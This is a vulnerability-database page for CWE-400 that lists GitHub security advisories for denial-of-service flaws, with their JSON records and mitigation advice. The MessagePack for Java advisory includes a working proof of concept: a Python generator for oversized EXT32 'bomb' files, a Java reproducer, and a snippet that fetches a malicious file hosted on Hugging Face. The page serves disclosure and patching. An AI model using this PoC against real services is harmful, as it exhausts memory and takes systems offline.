CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5567 vulnerabilities reference this CWE, most recent first.
GHSA-CVQF-GHWG-56GJ
Vulnerability from github – Published: 2021-12-08 00:01 – Updated: 2021-12-09 00:01An uncontrolled resource consumption vulnerability exists in Citrix ADC <13.0-83.27, <12.1-63.22 and 11.1-65.23 that could allow an attacker with access to NSIP or SNIP with management interface access to cause a temporary disruption of the Management GUI, Nitro API, and RPC communication.
{
"affected": [],
"aliases": [
"CVE-2021-22956"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-07T14:15:00Z",
"severity": "HIGH"
},
"details": "An uncontrolled resource consumption vulnerability exists in Citrix ADC \u003c13.0-83.27, \u003c12.1-63.22 and 11.1-65.23 that could allow an attacker with access to NSIP or SNIP with management interface access to cause a temporary disruption of the Management GUI, Nitro API, and RPC communication.",
"id": "GHSA-cvqf-ghwg-56gj",
"modified": "2021-12-09T00:01:46Z",
"published": "2021-12-08T00:01:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22956"
},
{
"type": "WEB",
"url": "https://support.citrix.com/article/CTX330728"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CW2R-4P82-QV79
Vulnerability from github – Published: 2023-12-28 16:36 – Updated: 2024-11-12 18:30Impact
Denial of Service, Applications that allow the use of the PBKDF2 algorithm.
Patches
A patch is available that sets the maximum number of default rounds.
Workarounds
Applications that do not need to use PBKDF2 should simply specify the algorithms use and exclude it from the list. Applications that need to use the algorithm should upgrade to the new version that allows to set a maximum rounds number.
Acknowledgement
The issues was reported by Jingcheng Yang and Jianjun Chen from Sichuan University and Zhongguancun Lab
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "jwcrypto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-6681"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-28T16:36:59Z",
"nvd_published_at": "2024-02-12T14:15:08Z",
"severity": "MODERATE"
},
"details": "### Impact\nDenial of Service,\nApplications that allow the use of the PBKDF2 algorithm.\n\n### Patches\nA [patch](https://github.com/latchset/jwcrypto/commit/d2655d370586cb830e49acfb450f87598da60be8) is available that sets the maximum number of default rounds.\n\n### Workarounds\nApplications that do not need to use PBKDF2 should simply specify the algorithms use and exclude it from the list.\nApplications that need to use the algorithm should upgrade to the new version that allows to set a maximum rounds number.\n\n### Acknowledgement\nThe issues was reported by Jingcheng Yang and Jianjun Chen from Sichuan University\nand Zhongguancun Lab\n",
"id": "GHSA-cw2r-4p82-qv79",
"modified": "2024-11-12T18:30:50Z",
"published": "2023-12-28T16:36:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/latchset/jwcrypto/security/advisories/GHSA-cw2r-4p82-qv79"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6681"
},
{
"type": "WEB",
"url": "https://github.com/latchset/jwcrypto/commit/d2655d370586cb830e49acfb450f87598da60be8"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:3267"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:9281"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-6681"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2260843"
},
{
"type": "PACKAGE",
"url": "https://github.com/latchset/jwcrypto"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/jwcrypto/PYSEC-2024-104.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "DoS with algorithms that use PBKDF2 due to unbounded PBES2 Count value"
}
GHSA-CW39-R4H6-8J3X
Vulnerability from github – Published: 2026-01-05 14:59 – Updated: 2026-01-05 14:59Summary
Affected Components:
org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()
A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.
PoC
import msgpack
import struct
import os
OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)
# EXT format: fixext / ext8 / ext16 / ext32
# ext32 allows attacker-controlled length (uint32)
length = 1
step = 10_000_000
while True:
try:
# EXT32: 0xC9 | length (4 bytes) | type (1 byte)
header = b'\xC9' + struct.pack(">I", length) + b'\x01'
payload = b'A' # actual data tiny
data = header + payload
fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
with open(fname, "wb") as f:
f.write(data)
print(f"[+] Generated EXT bomb with declared length={length}")
length += step
except Exception as e:
print("[!] Stopped:", e)
break
Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer
// Main.java
import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ExtensionValue;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws Exception {
byte[] data = Files.readAllBytes(
Paths.get("ext_length_470000001.msgpack")
);
MessageUnpacker unpacker =
MessagePack.newDefaultUnpacker(data);
ExtensionValue ext =
unpacker.unpackValue().asExtensionValue();
// Vulnerability trigger:
byte[] payload = ext.getData();
System.out.println(payload.length);
}
}
Compile
javac -cp msgpack-core-0.9.8.jar Main.java
Run (with limited heap)
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
Observed Result:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
at org.msgpack.core.MessageUnpacker.readPayload(...)
at org.msgpack.core.MessageUnpacker.unpackValue(...)
var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack");
var d = u.openStream().readAllBytes();
var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);
up.unpackValue().asExtensionValue().getData();
Run:
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.
Resolution
This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11
Impact
This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.msgpack:msgpack-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21452"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T14:59:12Z",
"nvd_published_at": "2026-01-02T21:16:03Z",
"severity": "HIGH"
},
"details": "### Summary\nAffected Components:\n```\norg.msgpack.core.MessageUnpacker.readPayload()\norg.msgpack.core.MessageUnpacker.unpackValue()\norg.msgpack.value.ExtensionValue.getData()\n```\nA denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.\n\n### PoC\n```\nimport msgpack\nimport struct\nimport os\n\nOUTPUT_DIR = \"bombs\"\nos.makedirs(OUTPUT_DIR, exist_ok=True)\n\n# EXT format: fixext / ext8 / ext16 / ext32\n# ext32 allows attacker-controlled length (uint32)\n\nlength = 1\nstep = 10_000_000\n\nwhile True:\n try:\n # EXT32: 0xC9 | length (4 bytes) | type (1 byte)\n header = b\u0027\\xC9\u0027 + struct.pack(\"\u003eI\", length) + b\u0027\\x01\u0027\n payload = b\u0027A\u0027 # actual data tiny\n\n data = header + payload\n\n fname = f\"{OUTPUT_DIR}/ext_length_{length}.msgpack\"\n with open(fname, \"wb\") as f:\n f.write(data)\n\n print(f\"[+] Generated EXT bomb with declared length={length}\")\n length += step\n\n except Exception as e:\n print(\"[!] Stopped:\", e)\n break\n```\nDownload dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer\n```\n// Main.java\nimport org.msgpack.core.MessagePack;\nimport org.msgpack.core.MessageUnpacker;\nimport org.msgpack.value.ExtensionValue;\n\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\n\npublic class Main {\n public static void main(String[] args) throws Exception {\n\n byte[] data = Files.readAllBytes(\n Paths.get(\"ext_length_470000001.msgpack\")\n );\n\n MessageUnpacker unpacker =\n MessagePack.newDefaultUnpacker(data);\n\n ExtensionValue ext =\n unpacker.unpackValue().asExtensionValue();\n\n // Vulnerability trigger:\n byte[] payload = ext.getData();\n\n System.out.println(payload.length);\n }\n}\n\n```\nCompile\n```\njavac -cp msgpack-core-0.9.8.jar Main.java\n```\nRun (with limited heap)\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nObserved Result:\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Java heap space\n at org.msgpack.core.MessageUnpacker.readPayload(...)\n at org.msgpack.core.MessageUnpacker.unpackValue(...)\n```\n```\nvar u = new java.net.URL(\"https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack\");\nvar d = u.openStream().readAllBytes();\nvar up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);\nup.unpackValue().asExtensionValue().getData();\n```\nRun:\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nA remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.\n\n## Resolution \nThis issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11\n\n### Impact\nThis vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.",
"id": "GHSA-cw39-r4h6-8j3x",
"modified": "2026-01-05T14:59:12Z",
"published": "2026-01-05T14:59:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/security/advisories/GHSA-cw39-r4h6-8j3x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21452"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae"
},
{
"type": "PACKAGE",
"url": "https://github.com/msgpack/msgpack-java"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation"
}
GHSA-CW63-CPQX-9VX9
Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2025-04-20 03:48The bio_map_user_iov and bio_unmap_user functions in block/bio.c in the Linux kernel before 4.13.8 do unbalanced refcounting when a SCSI I/O vector has small consecutive buffers belonging to the same page. The bio_add_pc_page function merges them into one, but the page reference is never dropped. This causes a memory leak and possible system lockup (exploitable against the host OS by a guest OS user, if a SCSI disk is passed through to a virtual machine) due to an out-of-memory condition.
{
"affected": [],
"aliases": [
"CVE-2017-12190"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-772"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-22T18:29:00Z",
"severity": "MODERATE"
},
"details": "The bio_map_user_iov and bio_unmap_user functions in block/bio.c in the Linux kernel before 4.13.8 do unbalanced refcounting when a SCSI I/O vector has small consecutive buffers belonging to the same page. The bio_add_pc_page function merges them into one, but the page reference is never dropped. This causes a memory leak and possible system lockup (exploitable against the host OS by a guest OS user, if a SCSI disk is passed through to a virtual machine) due to an out-of-memory condition.",
"id": "GHSA-cw63-cpqx-9vx9",
"modified": "2025-04-20T03:48:54Z",
"published": "2022-05-13T01:42:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12190"
},
{
"type": "WEB",
"url": "https://github.com/torvalds/linux/commit/2b04e8f6bbb196cab4b232af0f8d48ff2c7a8058"
},
{
"type": "WEB",
"url": "https://github.com/torvalds/linux/commit/95d78c28b5a85bacbc29b8dba7c04babb9b0d467"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3583-2"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3583-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3582-2"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3582-1"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K93472064?utm_source=f5support\u0026amp;utm_medium=RSS"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K93472064?utm_source=f5support\u0026amp%3Butm_medium=RSS"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2017/12/msg00004.html"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1495089"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2017-12190"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1190"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1170"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:1854"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:1062"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0676"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0654"
},
{
"type": "WEB",
"url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2b04e8f6bbb196cab4b232af0f8d48ff2c7a8058"
},
{
"type": "WEB",
"url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=95d78c28b5a85bacbc29b8dba7c04babb9b0d467"
},
{
"type": "WEB",
"url": "http://seclists.org/oss-sec/2017/q4/52"
},
{
"type": "WEB",
"url": "http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.13.8"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101911"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CW6J-2V5X-F5M2
Vulnerability from github – Published: 2023-03-24 21:30 – Updated: 2023-03-29 15:30Product: AndroidVersions: Android kernelAndroid ID: A-229255400References: N/A
{
"affected": [],
"aliases": [
"CVE-2023-21061"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-24T20:15:00Z",
"severity": "HIGH"
},
"details": "Product: AndroidVersions: Android kernelAndroid ID: A-229255400References: N/A",
"id": "GHSA-cw6j-2v5x-f5m2",
"modified": "2023-03-29T15:30:17Z",
"published": "2023-03-24T21:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21061"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2023-03-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CW77-VCWG-RPHW
Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31Uncontrolled resource consumption for some Edge Orchestrator software before version 24.11.1 for Intel(R) Tiber(TM) Edge Platform may allow an authenticated user to potentially enable denial of service via adjacent access.
{
"affected": [],
"aliases": [
"CVE-2025-26472"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T17:15:36Z",
"severity": "MODERATE"
},
"details": "Uncontrolled resource consumption for some Edge Orchestrator software before version 24.11.1 for Intel(R) Tiber(TM) Edge Platform may allow an authenticated user to potentially enable denial of service via adjacent access.",
"id": "GHSA-cw77-vcwg-rphw",
"modified": "2025-08-12T18:31:29Z",
"published": "2025-08-12T18:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26472"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01317.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CW96-GRJ5-M243
Vulnerability from github – Published: 2023-05-12 00:30 – Updated: 2024-04-04 04:02A vulnerability has been identified where a maliciously crafted message containing a specific chain of characters can cause the chat to enter a hot loop on one of the processes, consuming ~120% CPU and rendering the service unresponsive.
{
"affected": [],
"aliases": [
"CVE-2023-28356"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-11T22:15:09Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified where a maliciously crafted message containing a specific chain of characters can cause the chat to enter a hot loop on one of the processes, consuming ~120% CPU and rendering the service unresponsive.",
"id": "GHSA-cw96-grj5-m243",
"modified": "2024-04-04T04:02:57Z",
"published": "2023-05-12T00:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28356"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1461340"
}
],
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"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CW98-9J8W-WXV9
Vulnerability from github – Published: 2022-10-21 20:32 – Updated: 2026-06-08 23:40Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 6.0, .NET 5.0, and .NET CORE 3.1. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.
Microsoft is aware of a Denial of Service vulnerability, which exists in .NET 6.0, .NET 5.0, and .NET CORE 3.1 when parsing certain types of http form requests.
Affected Software
- Any .NET 6.0 application running on .NET 6.0.2 or lower
- Any .NET 5.0 application running on .NET 5.0.14 or lower
- Any .NET Core 3.1 application running on .NET Core 3.1.22 or lower
Patches
To fix the issue, please install the latest version of .NET 6.0 or .NET 5.0 or .NET Core 3.1.. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
-
If you're using .NET Core 6.0, you should download and install Runtime 6.0.3 or SDK 6.0.201 (for Visual Studio 2022 v17.1) from https://dotnet.microsoft.com/download/dotnet-core/6.0.
-
If you're using .NET 5.0, you should download and install Runtime 5.0.15 or SDK 5.0.406 (for Visual Studio 2019 v16.11) or SDK 5.0.212 (for Visual Studio 2011 v16.9) from https://dotnet.microsoft.com/download/dotnet-core/5.0.
-
If you're using .NET Core 3.1, you should download and install Runtime 3.1.23 or SDK 3.1.417 (for Visual Studio 2019 v16.7.26) from https://dotnet.microsoft.com/download/dotnet-core/5.0. .NET 6.0 and .NET 5.0 updates are also available from Microsoft Update. To access this either type "Check for updates" in your Windows search, or open Settings, choose Update & Security and then click Check for Updates.
.NET 6.0 and .NET 5.0 and, .NET Core 3.1 updates are also available from Microsoft Update. To access this either type "Check for updates" in your Windows search, or open Settings, choose Update & Security and then click Check for Updates.
Other Details
- Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/212
- An Issue for this can be found at https://github.com/dotnet/aspnetcore/issues/40598
- MSRC details for this can be found at https://msrc.microsoft.com/update-guide/en-US/vulnerability/ CVE-2022-24464
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"aliases": [
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],
"database_specific": {
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],
"github_reviewed": true,
"github_reviewed_at": "2022-10-21T20:32:34Z",
"nvd_published_at": "2022-03-09T17:15:00Z",
"severity": "HIGH"
},
"details": "Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 6.0, .NET 5.0, and .NET CORE 3.1. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nMicrosoft is aware of a Denial of Service vulnerability, which exists in .NET 6.0, .NET 5.0, and .NET CORE 3.1 when parsing certain types of http form requests.\n\n### Affected Software\n\n* Any .NET 6.0 application running on .NET 6.0.2 or lower\n* Any .NET 5.0 application running on .NET 5.0.14 or lower\n* Any .NET Core 3.1 application running on .NET Core 3.1.22 or lower \n\n### Patches\nTo fix the issue, please install the latest version of .NET 6.0 or .NET 5.0 or .NET Core 3.1.. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n\n* If you\u0027re using .NET Core 6.0, you should download and install Runtime 6.0.3 or SDK 6.0.201 (for Visual Studio 2022 v17.1) from https://dotnet.microsoft.com/download/dotnet-core/6.0.\n\n* If you\u0027re using .NET 5.0, you should download and install Runtime 5.0.15 or SDK 5.0.406 (for Visual Studio 2019 v16.11) or SDK 5.0.212 (for Visual Studio 2011 v16.9) from https://dotnet.microsoft.com/download/dotnet-core/5.0.\n\n* If you\u0027re using .NET Core 3.1, you should download and install Runtime 3.1.23 or SDK 3.1.417 (for Visual Studio 2019 v16.7.26) from https://dotnet.microsoft.com/download/dotnet-core/5.0.\n.NET 6.0 and .NET 5.0 updates are also available from Microsoft Update. To access this either type \"Check for updates\" in your Windows search, or open Settings, choose Update \u0026 Security and then click Check for Updates.\n\n.NET 6.0 and .NET 5.0 and, .NET Core 3.1 updates are also available from Microsoft Update. To access this either type \"Check for updates\" in your Windows search, or open Settings, choose Update \u0026 Security and then click Check for Updates.\n\n#### Other Details\n\n- Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/212\n- An Issue for this can be found at https://github.com/dotnet/aspnetcore/issues/40598\n- MSRC details for this can be found at https://msrc.microsoft.com/update-guide/en-US/vulnerability/ CVE-2022-24464",
"id": "GHSA-cw98-9j8w-wxv9",
"modified": "2026-06-08T23:40:32Z",
"published": "2022-10-21T20:32:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dotnet/aspnetcore/security/advisories/GHSA-cw98-9j8w-wxv9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24464"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/announcements/issues/212"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4TOGTZ2ZWDH662ZNFFSZVL3M5AJXV6JF"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CIJGCVKLHVNLFBTEYJGWS43QG5DYJFBL"
},
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},
{
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},
{
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},
{
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},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24464"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-24464"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": ".NET Denial of Service Vulnerability"
}
GHSA-CW98-CX2M-9QQG
Vulnerability from github – Published: 2022-01-06 22:10 – Updated: 2022-01-07 17:53An issue was discovered in the ckb crate before 0.40.0 for Rust. Attackers can cause a denial of service (Nervos CKB blockchain node crash) via a dead call that is used as a DepGroup.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "ckb"
},
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{
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"aliases": [
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"database_specific": {
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"github_reviewed": true,
"github_reviewed_at": "2022-01-05T23:44:51Z",
"nvd_published_at": "2021-12-27T00:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in the ckb crate before 0.40.0 for Rust. Attackers can cause a denial of service (Nervos CKB blockchain node crash) via a dead call that is used as a DepGroup.",
"id": "GHSA-cw98-cx2m-9qqg",
"modified": "2022-01-07T17:53:19Z",
"published": "2022-01-06T22:10:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nervosnetwork/ckb/security/advisories/GHSA-45p7-c959-rgcm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45700"
},
{
"type": "PACKAGE",
"url": "https://github.com/nervosnetwork/ckb"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/ckb/RUSTSEC-2021-0109.md"
},
{
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"url": "https://rustsec.org/advisories/RUSTSEC-2021-0109.html"
}
],
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"severity": [
{
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"type": "CVSS_V3"
}
],
"summary": "Denial of Service in ckb"
}
GHSA-CW99-F88J-FMM4
Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31Uncontrolled resource consumption in Windows Remote Desktop Services allows an unauthorized attacker to deny service over a network.
{
"affected": [],
"aliases": [
"CVE-2025-53722"
],
"database_specific": {
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],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T18:15:41Z",
"severity": "HIGH"
},
"details": "Uncontrolled resource consumption in Windows Remote Desktop Services allows an unauthorized attacker to deny service over a network.",
"id": "GHSA-cw99-f88j-fmm4",
"modified": "2025-08-12T18:31:32Z",
"published": "2025-08-12T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53722"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53722"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
